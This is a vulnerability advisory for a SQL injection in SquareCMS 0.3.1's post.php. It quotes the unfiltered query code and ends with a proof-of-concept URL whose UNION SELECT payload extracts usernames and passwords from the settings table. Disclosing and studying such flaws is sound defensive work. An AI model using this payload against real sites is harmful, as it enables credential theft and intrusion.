SquareCMS 0.3.1 - 'post.php' SQL Injection

SquareCMS 0.3.1 (post.php) Remote SQL Injection Vulnerability
found by cOndemned
vendor: http://spoolio.co.cc/ 
download: http://webscripts.softpedia.com/script/Content-Management/Square-CMS-66303.html
prior versions may also be affected

source of post.php lines 15 - 31:

	$token = $_GET['id'];									// [1]
	
	if (isset($token))
	{
		if ($result = mysql_query("SELECT * FROM $posts WHERE id=$token LIMIT 1"))	// [2]
		{
			if ($row = mysql_fetch_array($result, MYSQL_ASSOC))
			{
				header("Location: ".get_friendly_url($row['url']));		// [3]
				exit();
			}
		}
	}
	
	header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found"); // Return a 404			// [4]
	header("Content-Type: text/plain");
	print("404 Not Found\n");


description:

	User input from  variable token [1] is  being used in the MySQL query [2] without any 
	filtration, so that there is possibility to run arbitarary sql commands.  If query is 
	correct (returns proper result) user will be redirected to an url containing response
	[3]. In other case cms will force throwing 404 server response [4] ....

proof of concept:

	http://target/post.php?id=-1+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9+from+square_settings--